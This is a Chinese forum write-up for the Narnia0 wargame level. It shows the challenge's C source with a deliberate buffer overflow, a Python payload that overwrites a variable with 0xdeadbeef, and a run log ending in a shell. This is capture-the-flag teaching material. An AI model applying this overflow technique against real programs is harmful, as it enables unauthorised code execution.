[原创]WarGame-narnia0 解题思路
2019-7-22 10:28
8717
Narnia0是一个入门级的pwn游戏,wargame提供了源码会让游戏变得更简单,以下是源码
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
} buf是有20字节的空间,但是接收了24个字节,而多出来的数据只会再打印4字节,所以最终输入一共是24字节,所以需要写个Python脚本构造后面的4字节数据 ,Python脚本如下:
print "a"*20+"\xef\xbe\xad\xde"+"\x80" 注意,后面这个\x80是必须要加的,不然接收会少一个字节,这是最终的运行结果
gavin@gavin:~/warGame/narnia$ python narnia0.py
[+] Starting local process './narnia0': pid 6054
[*] Switching to interactive mode
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
$
可惜的是wargame不允许Python脚本的直接攻击(至少我没想到方法),所以里面所有的输入全得手工完成
小结
wargame里的小游戏都很有趣,如果有对漏洞利用感兴趣的同学可以去玩玩,Google上有很多WP,只可惜百度搜不到,我会继续出这个系列的文章,以供和我一样的新手学习
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开
发者可享99元/年,续费同价!
最后于 2020-10-22 11:39
被BDomne编辑
,原因:
上传的附件: